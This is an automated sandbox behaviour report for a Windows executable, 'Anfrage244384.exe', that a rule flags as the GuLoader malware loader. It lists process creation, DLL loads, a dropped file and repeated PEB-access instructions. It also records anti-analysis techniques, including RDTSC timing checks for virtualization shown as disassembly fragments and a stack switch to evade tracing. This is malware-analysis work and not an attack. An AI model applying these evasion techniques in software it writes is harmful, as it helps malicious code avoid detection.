      Source: Anfrage244384.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
      Source: C:\Users\user\Desktop\Anfrage244384.exeFile read: C:\Users\desktop.iniJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
      Source: Anfrage244384.exeReversingLabs: Detection: 31%
      Source: C:\Users\user\Desktop\Anfrage244384.exeFile read: C:\Users\user\Desktop\Anfrage244384.exeJump to behavior
      Source: unknownProcess created: C:\Users\user\Desktop\Anfrage244384.exe "C:\Users\user\Desktop\Anfrage244384.exe"
      Source: C:\Users\user\Desktop\Anfrage244384.exeProcess created: C:\Users\user\Desktop\Anfrage244384.exe "C:\Users\user\Desktop\Anfrage244384.exe"
      Source: C:\Users\user\Desktop\Anfrage244384.exeProcess created: C:\Users\user\Desktop\Anfrage244384.exe "C:\Users\user\Desktop\Anfrage244384.exe"Jump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: uxtheme.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: userenv.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: apphelp.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: propsys.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: dwmapi.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: cryptbase.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: oleacc.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: version.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: shfolder.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: windows.storage.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: wldp.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: riched20.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: usp10.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: msls31.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: textinputframework.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: coreuicomponents.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: coremessaging.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: ntmarta.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: wintypes.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: wintypes.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: wintypes.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: profapi.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: iertutil.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: powrprof.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: winhttp.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: wkscli.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: netutils.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: umpdc.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: wininet.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: windows.storage.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: wldp.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: profapi.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: mswsock.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: iphlpapi.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: winnsi.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: urlmon.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: srvcli.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: dnsapi.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: rasadhlp.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: fwpuclnt.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: schannel.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: mskeyprotect.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: ntasn1.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: msasn1.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: dpapi.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: cryptsp.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: rsaenh.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: cryptbase.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: gpapi.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: ncrypt.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: ncryptsslp.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32Jump to behavior
      Source: Anfrage244384.exeStatic file information: File size 1235192 > 1048576
      Source: Anfrage244384.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
      Source: Binary string: mshtml.pdb source: Anfrage244384.exe, 00000003.00000001.2332876628.0000000000649000.00000020.00000001.01000000.00000007.sdmp
      Source: Binary string: wntdll.pdbUGP source: Anfrage244384.exe, 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmp, Anfrage244384.exe, 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Anfrage244384.exe, 00000003.00000003.2748365519.00000000349F3000.00000004.00000020.00020000.00000000.sdmp, Anfrage244384.exe, 00000003.00000003.2750495664.0000000034BA7000.00000004.00000020.00020000.00000000.sdmp
      Source: Binary string: wntdll.pdb source: Anfrage244384.exe, Anfrage244384.exe, 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmp, Anfrage244384.exe, 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Anfrage244384.exe, 00000003.00000003.2748365519.00000000349F3000.00000004.00000020.00020000.00000000.sdmp, Anfrage244384.exe, 00000003.00000003.2750495664.0000000034BA7000.00000004.00000020.00020000.00000000.sdmp
      Source: Binary string: mshtml.pdbUGP source: Anfrage244384.exe, 00000003.00000001.2332876628.0000000000649000.00000020.00000001.01000000.00000007.sdmp

      Data Obfuscation

      barindex
      Yara detected GuLoader
      Source: Yara matchFile source: 00000000.00000002.2333673755.0000000003E32000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 0_2_10001A5D GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,0_2_10001A5D
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 0_2_10002D20 push eax; ret 0_2_10002D4E
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D59939 push es; iretd 3_2_34D59940
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D527FA pushad ; ret 3_2_34D527F9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D5225F pushad ; ret 3_2_34D527F9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D5283D push eax; iretd 3_2_34D52858
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D809AD push ecx; mov dword ptr [esp], ecx3_2_34D809B6
      Source: C:\Users\user\Desktop\Anfrage244384.exeFile created: C:\Users\user\AppData\Local\Temp\nsb8E12.tmp\System.dllJump to dropped file
      Source: C:\Users\user\Desktop\Anfrage244384.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

      Malware Analysis System Evasion

      barindex
      Switches to a custom stack to bypass stack traces
      Source: C:\Users\user\Desktop\Anfrage244384.exeAPI/Special instruction interceptor: Address: 40FEB98
      Source: C:\Users\user\Desktop\Anfrage244384.exeAPI/Special instruction interceptor: Address: 2DFEB98
      Tries to detect virtualization through RDTSC time measurements
      Source: C:\Users\user\Desktop\Anfrage244384.exeRDTSC instruction interceptor: First address: 40C40EF second address: 40C40EF instructions: 0x00000000 rdtsc 0x00000002 test ch, bh 0x00000004 cmp ebx, ecx 0x00000006 jc 00007F03F4BF3626h 0x00000008 inc ebp 0x00000009 test bl, cl 0x0000000b inc ebx 0x0000000c rdtsc
      Source: C:\Users\user\Desktop\Anfrage244384.exeRDTSC instruction interceptor: First address: 2DC40EF second address: 2DC40EF instructions: 0x00000000 rdtsc 0x00000002 test ch, bh 0x00000004 cmp ebx, ecx 0x00000006 jc 00007F03F4D56FC6h 0x00000008 inc ebp 0x00000009 test bl, cl 0x0000000b inc ebx 0x0000000c rdtsc
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DFD1C0 rdtsc 3_2_34DFD1C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsb8E12.tmp\System.dllJump to dropped file
      Source: C:\Users\user\Desktop\Anfrage244384.exeAPI coverage: 0.1 %
      Source: C:\Users\user\Desktop\Anfrage244384.exe TID: 2464Thread sleep time: -30000s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 0_2_00405665 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,0_2_00405665
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 0_2_0040270B FindFirstFileA,0_2_0040270B
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 0_2_004060C7 FindFirstFileA,FindClose,0_2_004060C7
      Source: Anfrage244384.exe, 00000003.00000002.3081263744.0000000004CAF000.00000004.00000020.00020000.00000000.sdmp, Anfrage244384.exe, 00000003.00000002.3081198942.0000000004C58000.00000004.00000020.00020000.00000000.sdmp, Anfrage244384.exe, 00000003.00000003.2748908748.0000000004CAF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
      Source: C:\Users\user\Desktop\Anfrage244384.exeAPI call chain: ExitProcess graph end nodegraph_0-3753
      Source: C:\Users\user\Desktop\Anfrage244384.exeAPI call chain: ExitProcess graph end nodegraph_0-3939
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DFD1C0 rdtsc 3_2_34DFD1C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DC35C0 NtCreateMutant,LdrInitializeThunk,3_2_34DC35C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 0_2_10001A5D GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,0_2_10001A5D
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E294E0 mov eax, dword ptr fs:[00000030h]3_2_34E294E0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E554DB mov eax, dword ptr fs:[00000030h]3_2_34E554DB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7B480 mov eax, dword ptr fs:[00000030h]3_2_34D7B480
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D89486 mov eax, dword ptr fs:[00000030h]3_2_34D89486
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D89486 mov eax, dword ptr fs:[00000030h]3_2_34D89486
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D774B0 mov eax, dword ptr fs:[00000030h]3_2_34D774B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D774B0 mov eax, dword ptr fs:[00000030h]3_2_34D774B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DB34B0 mov eax, dword ptr fs:[00000030h]3_2_34DB34B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D8B440 mov eax, dword ptr fs:[00000030h]3_2_34D8B440
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D8B440 mov eax, dword ptr fs:[00000030h]3_2_34D8B440
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D8B440 mov eax, dword ptr fs:[00000030h]3_2_34D8B440
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D8B440 mov eax, dword ptr fs:[00000030h]3_2_34D8B440
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D8B440 mov eax, dword ptr fs:[00000030h]3_2_34D8B440
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D8B440 mov eax, dword ptr fs:[00000030h]3_2_34D8B440
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E5547F mov eax, dword ptr fs:[00000030h]3_2_34E5547F
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E3F453 mov eax, dword ptr fs:[00000030h]3_2_34E3F453
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E2B450 mov eax, dword ptr fs:[00000030h]3_2_34E2B450
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E2B450 mov eax, dword ptr fs:[00000030h]3_2_34E2B450
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E2B450 mov eax, dword ptr fs:[00000030h]3_2_34E2B450
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E2B450 mov eax, dword ptr fs:[00000030h]3_2_34E2B450
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D81460 mov eax, dword ptr fs:[00000030h]3_2_34D81460
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D81460 mov eax, dword ptr fs:[00000030h]3_2_34D81460
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D81460 mov eax, dword ptr fs:[00000030h]3_2_34D81460
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D81460 mov eax, dword ptr fs:[00000030h]3_2_34D81460
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D81460 mov eax, dword ptr fs:[00000030h]3_2_34D81460
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D9F460 mov eax, dword ptr fs:[00000030h]3_2_34D9F460
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D9F460 mov eax, dword ptr fs:[00000030h]3_2_34D9F460
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D9F460 mov eax, dword ptr fs:[00000030h]3_2_34D9F460
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D9F460 mov eax, dword ptr fs:[00000030h]3_2_34D9F460
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D9F460 mov eax, dword ptr fs:[00000030h]3_2_34D9F460
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D9F460 mov eax, dword ptr fs:[00000030h]3_2_34D9F460
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DA340D mov eax, dword ptr fs:[00000030h]3_2_34DA340D
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E07410 mov eax, dword ptr fs:[00000030h]3_2_34E07410
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DA95DA mov eax, dword ptr fs:[00000030h]3_2_34DA95DA
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DFD5D0 mov eax, dword ptr fs:[00000030h]3_2_34DFD5D0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DFD5D0 mov ecx, dword ptr fs:[00000030h]3_2_34DFD5D0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DB55C0 mov eax, dword ptr fs:[00000030h]3_2_34DB55C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E555C9 mov eax, dword ptr fs:[00000030h]3_2_34E555C9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DA15F4 mov eax, dword ptr fs:[00000030h]3_2_34DA15F4
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DA15F4 mov eax, dword ptr fs:[00000030h]3_2_34DA15F4
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DA15F4 mov eax, dword ptr fs:[00000030h]3_2_34DA15F4
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DA15F4 mov eax, dword ptr fs:[00000030h]3_2_34DA15F4
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DA15F4 mov eax, dword ptr fs:[00000030h]3_2_34DA15F4
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DA15F4 mov eax, dword ptr fs:[00000030h]3_2_34DA15F4
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E535D7 mov eax, dword ptr fs:[00000030h]3_2_34E535D7
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E535D7 mov eax, dword ptr fs:[00000030h]3_2_34E535D7
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E535D7 mov eax, dword ptr fs:[00000030h]3_2_34E535D7
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E1D5B0 mov eax, dword ptr fs:[00000030h]3_2_34E1D5B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E1D5B0 mov eax, dword ptr fs:[00000030h]3_2_34E1D5B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7758F mov eax, dword ptr fs:[00000030h]3_2_34D7758F
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7758F mov eax, dword ptr fs:[00000030h]3_2_34D7758F
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7758F mov eax, dword ptr fs:[00000030h]3_2_34D7758F
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E135BA mov eax, dword ptr fs:[00000030h]3_2_34E135BA
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E135BA mov eax, dword ptr fs:[00000030h]3_2_34E135BA
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E135BA mov eax, dword ptr fs:[00000030h]3_2_34E135BA
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E135BA mov eax, dword ptr fs:[00000030h]3_2_34E135BA
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E3F5BE mov eax, dword ptr fs:[00000030h]3_2_34E3F5BE
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DAF5B0 mov eax, dword ptr fs:[00000030h]3_2_34DAF5B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DAF5B0 mov eax, dword ptr fs:[00000030h]3_2_34DAF5B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DAF5B0 mov eax, dword ptr fs:[00000030h]3_2_34DAF5B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DAF5B0 mov eax, dword ptr fs:[00000030h]3_2_34DAF5B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DAF5B0 mov eax, dword ptr fs:[00000030h]3_2_34DAF5B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DAF5B0 mov eax, dword ptr fs:[00000030h]3_2_34DAF5B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DAF5B0 mov eax, dword ptr fs:[00000030h]3_2_34DAF5B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DAF5B0 mov eax, dword ptr fs:[00000030h]3_2_34DAF5B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DAF5B0 mov eax, dword ptr fs:[00000030h]3_2_34DAF5B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DA15A9 mov eax, dword ptr fs:[00000030h]3_2_34DA15A9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DA15A9 mov eax, dword ptr fs:[00000030h]3_2_34DA15A9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DA15A9 mov eax, dword ptr fs:[00000030h]3_2_34DA15A9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DA15A9 mov eax, dword ptr fs:[00000030h]3_2_34DA15A9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DA15A9 mov eax, dword ptr fs:[00000030h]3_2_34DA15A9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E0B594 mov eax, dword ptr fs:[00000030h]3_2_34E0B594
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E0B594 mov eax, dword ptr fs:[00000030h]3_2_34E0B594
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DBB570 mov eax, dword ptr fs:[00000030h]3_2_34DBB570
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DBB570 mov eax, dword ptr fs:[00000030h]3_2_34DBB570
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E2B550 mov eax, dword ptr fs:[00000030h]3_2_34E2B550
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E2B550 mov eax, dword ptr fs:[00000030h]3_2_34E2B550
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E2B550 mov eax, dword ptr fs:[00000030h]3_2_34E2B550
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D7B562 mov eax, dword ptr fs:[00000030h]3_2_34D7B562
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E2F525 mov eax, dword ptr fs:[00000030h]3_2_34E2F525
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E2F525 mov eax, dword ptr fs:[00000030h]3_2_34E2F525
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E2F525 mov eax, dword ptr fs:[00000030h]3_2_34E2F525
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E2F525 mov eax, dword ptr fs:[00000030h]3_2_34E2F525
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E2F525 mov eax, dword ptr fs:[00000030h]3_2_34E2F525
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E2F525 mov eax, dword ptr fs:[00000030h]3_2_34E2F525
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E2F525 mov eax, dword ptr fs:[00000030h]3_2_34E2F525
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E3B52F mov eax, dword ptr fs:[00000030h]3_2_34E3B52F
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E55537 mov eax, dword ptr fs:[00000030h]3_2_34E55537
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DB7505 mov eax, dword ptr fs:[00000030h]3_2_34DB7505
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DB7505 mov ecx, dword ptr fs:[00000030h]3_2_34DB7505
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DBD530 mov eax, dword ptr fs:[00000030h]3_2_34DBD530
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DBD530 mov eax, dword ptr fs:[00000030h]3_2_34DBD530
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D8D534 mov eax, dword ptr fs:[00000030h]3_2_34D8D534
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D8D534 mov eax, dword ptr fs:[00000030h]3_2_34D8D534
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D8D534 mov eax, dword ptr fs:[00000030h]3_2_34D8D534
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D8D534 mov eax, dword ptr fs:[00000030h]3_2_34D8D534
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D8D534 mov eax, dword ptr fs:[00000030h]3_2_34D8D534
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D8D534 mov eax, dword ptr fs:[00000030h]3_2_34D8D534
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E136EE mov eax, dword ptr fs:[00000030h]3_2_34E136EE
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E136EE mov eax, dword ptr fs:[00000030h]3_2_34E136EE
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E136EE mov eax, dword ptr fs:[00000030h]3_2_34E136EE
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E136EE mov eax, dword ptr fs:[00000030h]3_2_34E136EE
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E136EE mov eax, dword ptr fs:[00000030h]3_2_34E136EE
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E136EE mov eax, dword ptr fs:[00000030h]3_2_34E136EE
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E3D6F0 mov eax, dword ptr fs:[00000030h]3_2_34E3D6F0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DB16CF mov eax, dword ptr fs:[00000030h]3_2_34DB16CF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D8B6C0 mov eax, dword ptr fs:[00000030h]3_2_34D8B6C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D8B6C0 mov eax, dword ptr fs:[00000030h]3_2_34D8B6C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D8B6C0 mov eax, dword ptr fs:[00000030h]3_2_34D8B6C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D8B6C0 mov eax, dword ptr fs:[00000030h]3_2_34D8B6C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D8B6C0 mov eax, dword ptr fs:[00000030h]3_2_34D8B6C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34D8B6C0 mov eax, dword ptr fs:[00000030h]3_2_34D8B6C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E3F6C7 mov eax, dword ptr fs:[00000030h]3_2_34E3F6C7
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E416CC mov eax, dword ptr fs:[00000030h]3_2_34E416CC
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E416CC mov eax, dword ptr fs:[00000030h]3_2_34E416CC
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E416CC mov eax, dword ptr fs:[00000030h]3_2_34E416CC
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34E416CC mov eax, dword ptr fs:[00000030h]3_2_34E416CC
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DB36EF mov eax, dword ptr fs:[00000030h]3_2_34DB36EF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 3_2_34DAD6E0 mov eax, dword ptr fs:[00000030h]3_2_34DAD6E0
